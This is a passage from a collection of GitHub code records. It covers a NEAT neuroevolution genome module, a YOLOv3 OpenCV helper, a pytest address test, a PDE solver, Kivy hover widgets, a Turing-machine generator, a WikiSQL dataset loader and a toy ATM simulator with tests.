exist\n if cg2 is None: # excess or disjoint gene, copy from fittest parent\n self.connections[key] = cg1.copy()\n else: # homologous gene, combine parents' genes\n self.connections[key] = cg1.crossover(cg2)\n\n parent1_set = parent1.nodes\n parent2_set = parent2.nodes\n\n for key, ng1 in parent1_set.items():\n ng2 = parent2_set.get(key)\n assert key not in self.nodes\n if ng2 is None: #extra gene, copy from fittest parent\n self.nodes[key] = ng1.copy()\n else: #homologous gene, combine parents' genes\n self.nodes[key] = ng1.crossover(ng2)\n\n def mutate(self, config):\n if config.single_structural_mutation:\n div = max(1, (config.node_add_prob + config.node_delete_prob +\n config.conn_add_prob + config.conn_delete_prob))\n r = random.random()\n if r < (config.node_add_prob / div):\n self.mutate_add_node(config)\n elif r < ((config.node_add_prob + config.node_delete_prob) / div):\n self.mutate_delete_node(config)\n elif r < ((config.node_add_prob + config.node_delete_prob + config.conn_add_prob) / div):\n self.mutate_add_connection(config)\n elif r < ((config.node_add_prob + config.node_delete_prob +\n config.conn_add_prob + config.conn_delete_prob) / div):\n self.mutate_delete_connection(config)\n else:\n if random.random() < config.node_add_prob:\n self.mutate_add_node(config)\n if random.random() < config.node_delete_prob:\n self.mutate_delete_node(config)\n if random.random() < config.conn_add_prob:\n self.mutate_add_connection(config)\n if random.random() < config.conn_delete_prob:\n self.mutate_delete_connection(config)\n\n for cg in self.connections.values(): # mutate connection genes\n cg.mutate(config)\n\n for ng in self.nodes.values(): # mutate node genes\n ng.mutate(config)\n\n def mutate_add_node(self, config):\n if not self.connections:\n if config.check_structural_mutation_surer():\n self.mutate_add_connection(config)\n return\n\n conn2split = random.choice(list(self.connections.values()))\n new_n_key = config.get_new_node_key(self.nodes)\n ng = self.create_node(config, new_n_key)\n self.nodes[new_n_key] = ng\n\n conn2split.enabled = False\n in_n, out_n = conn2split.key\n # connects in_n node with new node with weight=1.0 & new node with out_n with old weight bewteen in_n and out_n\n self.add_connection(config, in_n, new_n_key, 1.0, True)\n self.add_connection(config, new_n_key, out_n, conn2split.weight, True)\n\n def add_connection(self, config, in_key, out_key, weight, enabled):\n assert isinstance(in_key, int)\n assert isinstance(out_key, int)\n assert out_key >= 0\n assert isinstance(enabled, bool)\n\n key = (in_key, out_key)\n connection = config.connection_gene_type(key)\n connection.init_attributes(config)\n connection.weight = weight\n connection.enabled = enabled\n self.connections[key] = connection\n\n def mutate_delete_node(self, config):\n available_nodes = [k for k in self.nodes.keys() if k not in config.output_keys]\n if not available_nodes:\n return -1\n del_key = random.choice(available_nodes)\n conn2del = set()\n for key, value in self.connections.items():\n if del_key in value.key:\n conn2del.add(value.key)\n for key in conn2del:\n del self.connections[key]\n del self.nodes[del_key]\n return del_key\n\n def mutate_add_connection(self, config):\n possible_outputs = list(self.nodes.keys())\n out_node = random.choice(possible_outputs)\n possible_inputs = possible_outputs + config.input_keys\n in_node = random.choice(possible_inputs)\n\n key = (in_node, out_node)\n # avoids duplicating connections\n if key in self.connections:\n if config.check_structural_mutation_surer():\n self.connections[key].enabled = True\n return\n # avoids connecting two output nodes\n if in_node in config.output_keys and out_node in config.output_keys:\n return\n # avoids creating cycles for feed forward networks\n if config.feed_forward and graphs.creates_cycle(list(self.connections.keys()), key):\n return\n\n cg = self.create_connection(config, in_node, out_node)\n self.connections[cg.key] = cg\n\n def mutate_delete_connection(self, config):\n if self.connections:\n key = random.choice(list(self.connections.keys()))\n del self.connections[key]\n\n def distance(self, other, config):\n node_distance = 0.0\n if self.nodes or other.nodes:\n disjoint_nodes = 0\n for k2 in other.nodes.keys():\n if k2 not in self.nodes:\n disjoint_nodes += 1\n for k1, n1 in self.nodes.items():\n n2 = other.nodes.get(k1)\n if n2 is None:\n disjoint_nodes += 1\n else:\n node_distance += n1.distance(n2, config)\n\n max_nodes = max(len(self.nodes), len(other.nodes))\n node_distance = (node_distance + (config.compatibility_disjoint_coefficient * disjoint_nodes)) / max_nodes\n\n connection_distance = 0.0\n if self.connections or other.connections:\n disjoint_connections = 0\n for k2 in other.connections.keys():\n if k2 not in self.connections.keys():\n disjoint_connections += 1\n for k1, c1 in self.connections.items():\n c2 = other.connections.get(k1)\n if c2 is None:\n disjoint_connections += 1\n else:\n connection_distance += c1.distance(c2, config)\n\n max_connections = max(len(self.connections), len(other.connections))\n connection_distance = (connection_distance +\n (config.compatibility_disjoint_coefficient *\n disjoint_connections)) /max_connections\n\n distance = node_distance + connection_distance\n return distance\n\n def size(self):\n n_enabled_conn = sum([1 for cg in self.connections.values() if cg.enabled])\n return len(self.nodes), n_enabled_conn\n\n @staticmethod\n def create_node(config, node_key):\n node = config.node_gene_type(node_key)\n node.init_attributes(config)\n return node\n\n @staticmethod\n def create_connection(config, in_key, out_key):\n connection = config.connection_gene_type((in_key, out_key))\n connection.init_attributes(config)\n return connection\n\n def connect_fs_neat_nohidden(self, config):\n in_key = random.choice(config.input_keys)\n for out_key in config.output_keys:\n connection = self.create_connection(config, in_key, out_key)\n self.connections[connection.key] = connection\n\n def connect_fs_neat_hidden(self, config):\n in_key = random.choice(config.input_keys)\n others = [i for i in self.nodes.keys() if i not in config.input_keys]\n for out_key in others:\n connection = self.create_connection(config, in_key, out_key)\n self.connections[connection.key] = connection\n\n def compute_full_connections(self, config, direct):\n hidden = [i for i in self.nodes.keys() if i not in config.output_keys]\n output = [i for i in self.nodes.keys() if i in config.output_keys]\n connections = []\n if direct or (not hidden): # direct connections\n for in_key in config.input_keys:\n for out_key in config.output_keys:\n connections.append((in_key, out_key))\n if hidden: # hidden connections\n for in_key in config.input_keys:\n for h in hidden:\n connections.append((in_key, h))\n for h in hidden:\n for out_key in config.output_keys:\n connections.append((h, out_key))\n if not config.feed_forward: # self-connections in RNNs\n for i in self.nodes.keys():\n connections.append((i, i))\n\n return connections\n\n def connect_full_nodirect(self, config):\n for in_key, out_key in self.compute_full_connections(config, False):\n connection = self.create_connection(config, in_key, out_key)\n self.connections[connection.key] = connection\n\n def connect_full_direct(self, config):\n for in_key, out_key in self.compute_full_connections(config, True):\n connection = self.create_connection(config, in_key, out_key)\n self.connections[connection.key] = connection\n\n def connect_partial_nodirect(self, config):\n assert 0 <= config.connection_fraction <= 1\n all_connections = self.compute_full_connections(config, False)\n random.shuffle(all_connections)\n n2add = int(round(len(all_connections) * config.connection_fraction))\n for in_key, out_key in all_connections[:n2add]:\n connection = self.create_connection(config, in_key, out_key)\n self.connections[connection.key] = connection\n\n def connect_partial_direct(self, config):\n assert 0 <= config.connection_fraction <= 1\n all_connections = self.compute_full_connections(config, True)\n random.shuffle(all_connections)\n n2add = int(round(len(all_connections) * config.connection_fraction))\n for in_key, out_key in all_connections[:n2add]:\n connection = self.create_connection(config, in_key, out_key)\n self.connections[connection.key] = connection\n","repo_name":"inigo-irigaray/NEAT-neuroevolution-pytorch","sub_path":"neuroevolution/genome.py","file_name":"genome.py","file_ext":"py","file_size_in_byte":18884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19952519149","text":"from __future__ import annotations\nfrom typing import TYPE_CHECKING, List\nif TYPE_CHECKING:\n from CV_Robot.vision import VisionObject\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport copy\nimport cv2\nimport os\n\nfrom CV_Robot import useLiveImg, is_Server, is_Robot\n\nfig = None\nax = None\n\nimg_typ = np.ndarray\n\ndef load_model():\n \"\"\"\n Loads Yolo v3 model (called automtically on import)\n \"\"\"\n yolov3_path = os.path.dirname(__file__) + '/Models/Yolo v3/'\n try:\n with open(yolov3_path + 'yolov3.weights'):\n pass\n except FileNotFoundError:\n print(\"Downloading model...\")\n import wget\n import sys\n def bar_custom(current, total, _): #_ = width\n sys.stdout.write(\"\\r\")\n sys.stdout.write(\"Downloading: %d%% [%d / %d] bytes\" % (current / total * 100, current, total))\n\n wget.download('https://pjreddie.com/media/files/yolov3.weights', yolov3_path + 'yolov3.weights', bar=bar_custom)\n print()\n\n net: cv2.dnn_Net = cv2.dnn.readNet(yolov3_path + \"yolov3.weights\", yolov3_path + \"yolov3.cfg\")\n with open(yolov3_path + \"yolov3.names\", \"r\") as f:\n classes = [line.strip() for line in f.readlines()]\n\n output_layers = [layer_name for layer_name in net.getUnconnectedOutLayersNames()]\n return net, classes, output_layers\n\ncache = []\ndef detect_objects(img: img_typ, net: cv2.dnn_Net, outputLayers: list):\n \"\"\"\n Returns DNN outputs for finding objects in image, uses cache if possible\n \"\"\"\n retval = None\n for c_img, c_outputs in cache:\n if np.array_equal(img, c_img):\n retval = c_outputs\n\n if retval is None:\n blob = cv2.dnn.blobFromImage(img, scalefactor=0.00392, size=(320, 320), mean=(0, 0, 0), swapRB=True, crop=False)\n net.setInput(blob)\n retval = net.forward(outputLayers)\n\n if len(cache) >= 5:\n cache.pop(0)\n cache.append((img, retval))\n\n return retval\n\ndef get_box_dimensions(outputs: list, thresh: float = 0.3):\n \"\"\"\n Returns X, Y, width, height of objects\n \"\"\"\n boxes = []\n confs = []\n class_ids = []\n for output in outputs:\n for detect in output:\n scores = detect[5:]\n class_id = np.argmax(scores)\n conf = scores[class_id]\n if conf > thresh:\n center_x = detect[0] * 100\n center_y = detect[1] * 100\n w = round(detect[2] * 100, 3)\n h = round(detect[3] * 100, 3)\n x = round(center_x - w / 2, 3)\n y = round(center_y - h / 2, 3)\n boxes.append([x, y, w, h])\n confs.append(float(conf))\n class_ids.append(class_id)\n return boxes, confs, class_ids\n\ndef show_image(img: img_typ, pause: bool =False):\n \"\"\"\n Displays Matplotlib render of image\n If on Colab - display in new figure\n If on Server - display in exisiting figure with optional pause\n If on Robot - save as \"cv_robot_img.py\"\n \"\"\"\n global fig\n global ax\n\n if is_Robot or (is_Server and not useLiveImg):\n with open('userscripts/img.lck', 'w+') as f:\n f.write(\"lck\")\n cv2.imwrite(\"userscripts/cv_robot_img.png\", img)\n with open('userscripts/img.lck', 'w+') as f:\n f.write(\"\")\n return\n\n t_img = img[:, :, ::-1] # convert BGR (for opencv) to RGB (for matplotlib)\n if fig is None or not plt.fignum_exists(fig.number):\n fig = plt.figure(figsize=(10, 10))\n ax = fig.add_subplot()\n ax.clear()\n ax.imshow(t_img)\n\n x_space = img.shape[1] * 0.25\n y_space = img.shape[0] * 0.25\n\n ax.set_xticks([i * x_space for i in range(0, 5)], minor=False)\n ax.set_yticks([i * y_space for i in range(0, 5)], minor=False)\n ax.set_xticklabels(list(range(0, 101, 25)), fontdict=None, minor=False)\n ax.set_yticklabels(list(range(0, 101, 25)), fontdict=None, minor=False)\n\n if is_Server and not pause:\n plt.draw()\n plt.pause(0.1)\n else:\n plt.show()\n\n\n\ndef draw_labels(objects: List[VisionObject], img: img_typ, pause: bool = False):\n \"\"\"\n Draw labeled boxes on image\n \"\"\"\n global fig\n global ax\n\n img = copy.deepcopy(img)\n font = cv2.FONT_HERSHEY_PLAIN\n for index, obj in enumerate(objects):\n x, y, w, h = obj.BBox\n x = int(x * img.shape[1] / 100)\n w = int(w * img.shape[1] / 100)\n y = int(y * img.shape[0] / 100)\n h = int(h * img.shape[0] / 100)\n\n label = str(obj.Name)\n color = (0,0,255) #red\n cv2.rectangle(img, (x, y), (x + w, y + h), color, 2)\n cv2.putText(img, label, (x, y - 5), font, 1, color, 1)\n\n show_image(img, pause=pause)\n\n\n","repo_name":"RobertJN64/CV_Robot","sub_path":"CV_Robot/opencv_api.py","file_name":"opencv_api.py","file_ext":"py","file_size_in_byte":4702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18203204082","text":"import pytest\n\nfrom pystarling.api_objects.Address import Address\n\n\nclass TestAddress(object):\n test_data = {\n 'streetAddress': '123 Fake St',\n 'city': 'Springfield',\n 'country': 'USA',\n 'postcode': 'N1 1AA'\n }\n\n incomplete_data = {\n 'city': 'Springfield'\n }\n\n def test_incomplete_data_raises_error(self):\n with pytest.raises(KeyError):\n Address(self.incomplete_data)\n\n def test_data_parsed_correctly(self):\n address = Address(self.test_data)\n assert address.street_address == '123 Fake St'\n assert address.city == 'Springfield'\n assert address.country == 'USA'\n assert address.postcode == 'N1 1AA'\n","repo_name":"rdcrt/pystarling","sub_path":"test/api_objects/test_Address.py","file_name":"test_Address.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"33753464458","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom Proj2_part_1_01345671 import get_neighbours, SOR\n\n\nclass ModifiedSOR(SOR):\n\n def get_value(self, phi, i, j):\n x = i * self.dx - self.q\n y = j * self.dy\n\n ns = get_neighbours(phi, i, j)\n\n \"\"\"\n Require U_-1 = U_1 to apply Neumann boundary conditions\n \"\"\"\n rows, cols = phi.shape\n if j == cols - 1:\n ns.update({'n': phi[i, j - 1]})\n if j == 0:\n ns.update({'s': phi[i, j + 1]})\n if i == 0:\n ns.update({'w': phi[i + 1, j]})\n if i == rows - 1:\n ns.update({'e': phi[i - 1, j]})\n\n if 0 < x < 0.5 and 0.5 < x < 1:\n \"\"\"\n In this range the transformation has been applied, so we treat\n y values as eta\n \"\"\"\n y_b_x = 2 * self.tau * (1 - 2 * x)\n m = (1 - 1 / (y_b_x ** 2)) / (self.dx ** 2)\n n = 1 / (self.dy ** 2)\n return (m * (ns['e'] + ns['w']) +\n n * (ns['n'] + ns['s']) -\n self.fs[i, j]) / (2 * m * n)\n else:\n return self.step_func(phi, ns, self.fs[i, j])\n\n\nif __name__ == \"__main__\":\n \"\"\"\n Must have L and N of form 2^p + 1\n \"\"\"\n q, s, r, L, N, tao, w = 2, 3, 1, 65, 65, 0.05, 1.8\n scheme = ModifiedSOR(\n np.zeros((L, N)), np.zeros((L, N)),\n q=q, s=s, r=r, tao=tao, w=w\n )\n u, step = scheme.iteration_loop(sweep_limit=100000)\n # us, vs = scheme.get_derivatives()\n X = np.linspace(-q, s, num=L)\n Y = np.linspace(0, r, num=N)\n [us, vs] = np.gradient(u)\n\n field = plt.figure(1)\n ax1 = field.add_subplot()\n q = ax1.quiver(X, Y, np.transpose(us), np.transpose(vs), np.transpose(u),\n cmap='plasma')\n ax1.set_title('Vector field')\n ax1.set_xlabel('x')\n ax1.set_ylabel('y')\n\n surface = plt.figure(2)\n ax2 = surface.add_subplot(projection='3d')\n Xm, Ym = np.meshgrid(X, Y)\n ax2.plot_surface(Xm, Ym, np.transpose(u), cmap='plasma')\n ax2.set_title('Surface')\n ax2.set_xlabel('x')\n ax2.set_ylabel('y')\n\n u_surface = plt.figure(3)\n ax3 = u_surface.add_subplot(projection='3d')\n ax3.plot_surface(Xm, Ym, np.transpose(us), cmap='plasma')\n ax3.set_title('U_surface')\n ax3.set_xlabel('x')\n ax3.set_ylabel('y')\n\n v_surface = plt.figure(4)\n ax3 = v_surface.add_subplot(projection='3d')\n ax3.plot_surface(Xm, Ym, np.transpose(vs), cmap='plasma')\n ax3.set_title('V_surface')\n ax3.set_xlabel('x')\n ax3.set_ylabel('y')\n\n plt.show()\n","repo_name":"kimizake/PDE-project-2","sub_path":"Proj2_part_3_01345671.py","file_name":"Proj2_part_3_01345671.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7803427263","text":"from kivy.lang import Builder\nfrom kivy.uix.screenmanager import ScreenManager, Screen, NoTransition\nfrom kivy.core.window import Window\nfrom kivy.uix.button import Button\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.tabbedpanel import TabbedPanel, TabbedPanelItem\nfrom constants import *\n\n\n##\n# Class: HoverButton extends Button\n# ---------------------------------\n# This class is a button widget that has the ability to change\n# backgrounds when the mouse is hovered over it.\n##\nclass HoverButton(Button):\n # can set a group of buttons to not hover\n # (used for when buttons overlap)\n inactive_group = None\n\n\n ##\n # Class Constructor: __init__\n # ---------------------------\n # This method is called during the creation of the HoverButton object.\n #\n # @params\n # (HoverButton) self This instance of HoverButton\n # (str) button_up Filename of image when button is up (not hovered)\n # (str) button_down Filename of image when button is down (hovered)\n # (str) group Name of button group, used to make button inactive\n ##\n def __init__(self, button_up=BTN_TRANSP[0],\n button_down=BTN_TRANSP[1],\n group = None,\n **kwargs):\n super(HoverButton, self).__init__(**kwargs)\n self.group = group\n self.button_up = button_up\n self.button_down = button_down\n self.background_down = self.button_up\n self.background_normal= self.button_up\n Window.bind(mouse_pos=self.on_mouse_move)\n\n\n ##\n # Class Method: on_mouse_move\n # ---------------------------\n # This method is called whenever the mouse position is changed. This function\n # tracks the position of the mouse and if the mouse is colliding with the widget\n # then the button background is changed to self.button_down. Background is not\n # changed if the instance's group is the inactive group.\n #\n # @params\n # (HoverButton) self This instance of HoverButton\n # (list) *args List of mouse position/movement info\n ##\n def on_mouse_move(self, *args):\n pos = self.to_widget(x=args[1][0], y=args[1][1])\n if self.collide_point(*pos) and \\\n (self.group != HoverButton.inactive_group or \\\n HoverButton.inactive_group == None):\n self.background_normal= self.button_down\n else:\n self.background_normal= self.button_up\n\n\n\n##\n# Class: HoverTab\n# ---------------\n# This class is a TabbedPanelItem whose text becomes brighter whenever\n# the mouse is hovered over it.\n##\nclass HoverTab(TabbedPanelItem):\n ##\n # Class Constructor: __init__\n # ---------------------------\n # This method is called during the creation of the HoverTab object.\n #\n # @params\n # (HoverTab) self This instance of HoverTab\n # (Various) **kwargs Arguments for construction of internal TabbedPanelItem\n ##\n def __init__(self, **kwargs):\n super(HoverTab, self).__init__(**kwargs)\n self.color = (1,1,1,.8)\n Window.bind(mouse_pos=self.on_mouse_move)\n\n ##\n # Class Method: on_mouse_move\n # ---------------------------\n # This method is called whenever the mouse position is changed. This function\n # tracks the position of the mouse and if the mouse is colliding with the widget\n # then the tab text is made brighter.\n #\n # @params\n # (HoverTab) self This instance of HoverTab\n # (list) *args List of mouse position/movement info\n ##\n def on_mouse_move(self, *args):\n pos = self.to_widget(x=args[1][0], y=args[1][1])\n if self.collide_point(*pos) or self.state == 'down':\n self.color = (1,1,1,1)\n else:\n self.color = (1,1,1,.8)\n","repo_name":"davisgomes/FRAG","sub_path":"customwidgets.py","file_name":"customwidgets.py","file_ext":"py","file_size_in_byte":3916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36146897339","text":"from itertools import product\n\n# We are only interested in TMs with a single transition to the halt state\nchoices = [\"00\", \"01\", \"02\", \"03\", \"04\", \"05\",\n \"10\", \"11\", \"12\", \"13\", \"14\", \"15\"]\n\nhalt_state = \"21\"\n\n\ndef generate_tms(filepath, test_function):\n lines = []\n for choice in product(choices, repeat=5):\n choice = list(choice)\n possible_choices = [\"\".join(choice[:i] + [halt_state] + choice[i:])\n for i in range(6)]\n\n lines += [x for x in possible_choices if test_function(x)]\n\n lines = sorted(lines)\n\n with open(filepath, \"w+\") as f:\n f.write(\"\\n\".join(lines))\n","repo_name":"jameshamm/OverloadedBeaver","sub_path":"generate_tms/gen_tms.py","file_name":"gen_tms.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2347281530","text":"\"\"\"A large crowd-sourced dataset for developing natural language interfaces for relational databases\"\"\"\n\nfrom __future__ import absolute_import, division, print_function\n\nimport json\nimport os\n\nimport nlp\n\n\n_CITATION = \"\"\"\\\n@article{zhongSeq2SQL2017,\n author = {Victor Zhong and\n Caiming Xiong and\n Richard Socher},\n title = {Seq2SQL: Generating Structured Queries from Natural Language using\n Reinforcement Learning},\n journal = {CoRR},\n volume = {abs/1709.00103},\n year = {2017}\n}\n\"\"\"\n\n_DESCRIPTION = \"\"\"\\\nA large crowd-sourced dataset for developing natural language interfaces for relational databases\n\"\"\"\n\n_DATA_URL = \"https://github.com/salesforce/WikiSQL/raw/master/data.tar.bz2\"\n\n_AGG_OPS = [\"\", \"MAX\", \"MIN\", \"COUNT\", \"SUM\", \"AVG\"]\n_COND_OPS = [\"=\", \">\", \"<\", \"OP\"]\n\n\nclass WikiSQL(nlp.GeneratorBasedBuilder):\n \"\"\"WikiSQL: A large crowd-sourced dataset for developing natural language interfaces for relational databases\"\"\"\n\n VERSION = nlp.Version(\"0.1.0\")\n\n def _info(self):\n return nlp.DatasetInfo(\n description=_DESCRIPTION,\n features=nlp.Features(\n {\n \"phase\": nlp.Value(\"int32\"),\n \"question\": nlp.Value(\"string\"),\n \"table\": {\n \"header\": nlp.features.Sequence(nlp.Value(\"string\")),\n \"page_title\": nlp.Value(\"string\"),\n \"page_id\": nlp.Value(\"string\"),\n \"types\": nlp.features.Sequence(nlp.Value(\"string\")),\n \"id\": nlp.Value(\"string\"),\n \"section_title\": nlp.Value(\"string\"),\n \"caption\": nlp.Value(\"string\"),\n \"rows\": nlp.features.Sequence(nlp.features.Sequence(nlp.Value(\"string\"))),\n \"name\": nlp.Value(\"string\"),\n },\n \"sql\": {\n \"human_readable\": nlp.Value(\"string\"),\n \"sel\": nlp.Value(\"int32\"),\n \"agg\": nlp.Value(\"int32\"),\n \"conds\": nlp.features.Sequence(\n {\n \"column_index\": nlp.Value(\"int32\"),\n \"operator_index\": nlp.Value(\"int32\"),\n \"condition\": nlp.Value(\"string\"),\n }\n ),\n },\n }\n ),\n # If there's a common (input, target) tuple from the features,\n # specify them here. They'll be used if as_supervised=True in\n # builder.as_dataset.\n supervised_keys=None,\n # Homepage of the dataset for documentation\n homepage=\"https://github.com/salesforce/WikiSQL\",\n citation=_CITATION,\n )\n\n def _split_generators(self, dl_manager):\n \"\"\"Returns SplitGenerators.\"\"\"\n dl_dir = dl_manager.download_and_extract(_DATA_URL)\n dl_dir = os.path.join(dl_dir, \"data\")\n\n return [\n nlp.SplitGenerator(\n name=nlp.Split.TEST,\n gen_kwargs={\n \"main_filepath\": os.path.join(dl_dir, \"test.jsonl\"),\n \"tables_filepath\": os.path.join(dl_dir, \"test.tables.jsonl\"),\n },\n ),\n nlp.SplitGenerator(\n name=nlp.Split.VALIDATION,\n gen_kwargs={\n \"main_filepath\": os.path.join(dl_dir, \"dev.jsonl\"),\n \"tables_filepath\": os.path.join(dl_dir, \"dev.tables.jsonl\"),\n },\n ),\n nlp.SplitGenerator(\n name=nlp.Split.TRAIN,\n gen_kwargs={\n \"main_filepath\": os.path.join(dl_dir, \"train.jsonl\"),\n \"tables_filepath\": os.path.join(dl_dir, \"train.tables.jsonl\"),\n },\n ),\n ]\n\n def _convert_to_human_readable(self, sel, agg, columns, conditions):\n \"\"\"Make SQL query string. Based on https://github.com/salesforce/WikiSQL/blob/c2ed4f9b22db1cc2721805d53e6e76e07e2ccbdc/lib/query.py#L10\"\"\"\n\n rep = \"SELECT {agg} {sel} FROM table\".format(\n agg=_AGG_OPS[agg], sel=columns[sel] if columns is not None else \"col{}\".format(sel)\n )\n\n if conditions:\n rep += \" WHERE \" + \" AND \".join([\"{} {} {}\".format(columns[i], _COND_OPS[o], v) for i, o, v in conditions])\n return \" \".join(rep.split())\n\n def _generate_examples(self, main_filepath, tables_filepath):\n \"\"\"Yields examples.\"\"\"\n\n # Build dictionary to table_ids:tables\n with open(tables_filepath) as f:\n tables = [json.loads(line) for line in f]\n id_to_tables = {x[\"id\"]: x for x in tables}\n\n with open(main_filepath) as f:\n for idx, line in enumerate(f):\n row = json.loads(line)\n row[\"table\"] = id_to_tables[row[\"table_id\"]]\n del row[\"table_id\"]\n\n # Handle missing data\n row[\"table\"][\"page_title\"] = row[\"table\"].get(\"page_title\", \"\")\n row[\"table\"][\"section_title\"] = row[\"table\"].get(\"section_title\", \"\")\n row[\"table\"][\"caption\"] = row[\"table\"].get(\"caption\", \"\")\n row[\"table\"][\"name\"] = row[\"table\"].get(\"name\", \"\")\n row[\"table\"][\"page_id\"] = str(row[\"table\"].get(\"page_id\", \"\"))\n\n # Fix row types\n row[\"table\"][\"rows\"] = [[str(e) for e in r] for r in row[\"table\"][\"rows\"]]\n\n # Get human-readable version\n row[\"sql\"][\"human_readable\"] = self._convert_to_human_readable(\n row[\"sql\"][\"sel\"], row[\"sql\"][\"agg\"], row[\"table\"][\"header\"], row[\"sql\"][\"conds\"],\n )\n\n # Restructure sql->conds\n # - wikiSQL provides a tuple [column_index, operator_index, condition]\n # as 'condition' can have 2 types (float or str) we convert to dict\n for i in range(len(row[\"sql\"][\"conds\"])):\n row[\"sql\"][\"conds\"][i] = {\n \"column_index\": row[\"sql\"][\"conds\"][i][0],\n \"operator_index\": row[\"sql\"][\"conds\"][i][1],\n \"condition\": str(row[\"sql\"][\"conds\"][i][2]),\n }\n yield idx, row\n","repo_name":"MachineLearningBCAM/Minimax-risk-classifiers-NeurIPS-2020","sub_path":"venv/lib/python3.6/site-packages/nlp/datasets/wikisql/46eb569a3cc9ef4b2b9505b938564a4855d92f6ed051c7176b41d9ea2eec0180/wikisql.py","file_name":"wikisql.py","file_ext":"py","file_size_in_byte":6443,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"20317519706","text":"import random\n\nclass Woori:\n def __init__(self):\n self.data_dict = {}\n\n\n def new_acc(self, card_no, account, amt):\n if card_no in self.data_dict:\n self.data_dict[card_no][\"account\"][account] = amt\n\n def new_card(self, card_no, paswd, account, amt):\n self.data_dict[card_no] = { \"account\": {account: amt},\"pin\": paswd}\n\n def passwd_check(self, card_num, entered_pin):\n if card_num in self.data_dict and self.data_dict[card_num][\"pin\"] == entered_pin:\n return self.data_dict[card_num][\"account\"]\n else:\n return None\n\n def update_account(self, card_num, account, amt):\n if self.data_dict[card_num][\"account\"][account] in self.data_dict[card_num][\"account\"]:\n self.data_dict[card_num][\"account\"][account] = amt\n return True\n else:\n return False\n\n\nclass Controller:\n def __init__(self, bank, cash):\n self.accounts = None\n self.Woori = bank\n self.cash_bin = cash\n\n def insert_card(self, card_num, pin):\n self.accounts = self.Woori.passwd_check(card_num, pin)\n if self.accounts != None:\n return 1, \"Welcome!\" \n else:\n return 0, \"Invalid card or wrong password\"\n\n def acc_selection(self, acc):\n if acc in self.accounts:\n return True\n else:\n return False\n\n def account_actions(self, card_num, acc, action, amt=0):\n if action == \"See Balance\":\n return self.accounts[acc], 1,0\n elif action == \"Withdraw\":\n if self.cash_bin >= amt and self.accounts[acc] >= amt:\n updated_balance = self.accounts[acc] - amt\n self.cash_bin = self.cash_bin - amt\n self.accounts[acc] = updated_balance\n self.Woori.update_account(card_num, acc, updated_balance)\n return self.accounts[acc], 1, 0\n elif self.cash_bin < amt:\n return self.accounts[acc], 0 , 1\n elif self.accounts[acc] < amt:\n return self.accounts[acc], 0 , 2\n elif action == \"Deposit\":\n updated_balance = self.accounts[acc] + amt\n self.cash_bin = self.cash_bin + amt\n self.accounts[acc] = updated_balance\n self.Woori.update_account(card_num, acc, updated_balance)\n return self.accounts[acc], 1,0\n else:\n return self.accounts[acc], 2,0\n\n def __call__(self, card_num, pin, acc, action_list):\n a, b = self.insert_card(card_num, pin)\n if a == 0:\n return \"Invalid card or wrong password\"\n check = self.acc_selection(acc)\n if check is False:\n return \"Invalid Account!\"\n for action in action_list:\n if action[0] == \"Leave\":\n return \"Left successfully\"\n balance, bit, bit1 = self.account_actions(card_num, acc, action[0], action[1])\n if bit == 0:\n continue\n elif bit == 2:\n return \"Invalid operation\"\n else:\n continue\n return \"Operations completed\"\n\n\nif __name__ == \"__main__\":\n\n\n empty_bank = Woori()\n # Test Controller on Empty Woori\n empty_atm = Controller(empty_bank, 0)\n valid, message = empty_atm.insert_card(0, 0)\n if valid == 0:\n print(\"Test Invalid Message on Empty ATM \\t SUCCESS\")\n else:\n print(\"Test Invalid Message on Empty ATM \\t FAILURE\")\n\n # New bank for teting\n\n test_bank = Woori()\n test_bank.new_card(20202021, 1234, \"checking\", 1000)\n test_bank.new_acc(20202021, \"savings\", 1000)\n test_bank.new_card(20192020, 4860, \"checking\", 5000)\n test_atm = Controller(test_bank, 10000)\n operations = [ (\"Withdraw\", 40),(\"See Balance\", 0), (\"Deposit\", 100), (\"Withdraw\", 1000) ]\n\n # Testing the ATM with valid sequence of operations\n if test_atm(20192020, 4860, \"checking\", operations) == \"Operations completed\":\n print(\"Test Valid ATM Check \\t SUCCESS\")\n else:\n print(\"Test Valid ATM Check \\t FAILURE\")\n\n # Testing if overdraft is handled correclty\n if test_atm(20202021, 1234, \"checking\", operations) == \"Operations completed\":\n print(\"Test Overdraft handling \\t SUCCESS\")\n else:\n print(\"Test Overdraft handling \\t FAILURE\")\n\n # Test invalid PIN number\n if test_atm(20192020, 9878, \"checking\", operations) == \"Invalid card or wrong password\":\n print(\"Test Incorrect password \\t SUCCESS\")\n else:\n print(\"Test Incorrect password \\t FAILURE\")\n\n # Test invalid Account no\n if test_atm(876504321, 1234, \"checking\", operations) == \"Invalid card or wrong password\":\n print(\"Test Invalid Account Number \\t SUCCESS\")\n else:\n print(\"Test Invalid Account Number \\t FAILURE\")\n\n test_bank2 = Woori()\n test_bank2.new_card(20202021, 1234, \"checking\", 1000)\n test_bank2.new_acc(20202021, \"savings\", 1000)\n test_bank2.new_card(20192020, 4860, \"checking\", 5000)\n test_atm2 = Controller(test_bank2, 10000)\n cash_bin_over_action = [(\"See Balance\", 0), (\"Withdraw\", 30000)]\n\n # Tests cash bin excess handling on account balance\n if test_atm(20192020, 4860, \"checking\", cash_bin_over_action) == \"Operations completed\":\n print(\"Test Exceeding Cash Bin \\t SUCCESS\")\n else:\n print(\"Test Exceeding Cash Bin \\t FAILURE\")\n\n exit_action = [(\"See Balance\", 0), (\"Leave\", 0)]\n if test_atm(20192020, 4860, \"checking\", exit_action) == \"Left successfully\":\n print(\"Test exiting \\t SUCCESS\")\n else:\n print(\"Test exiting \\t 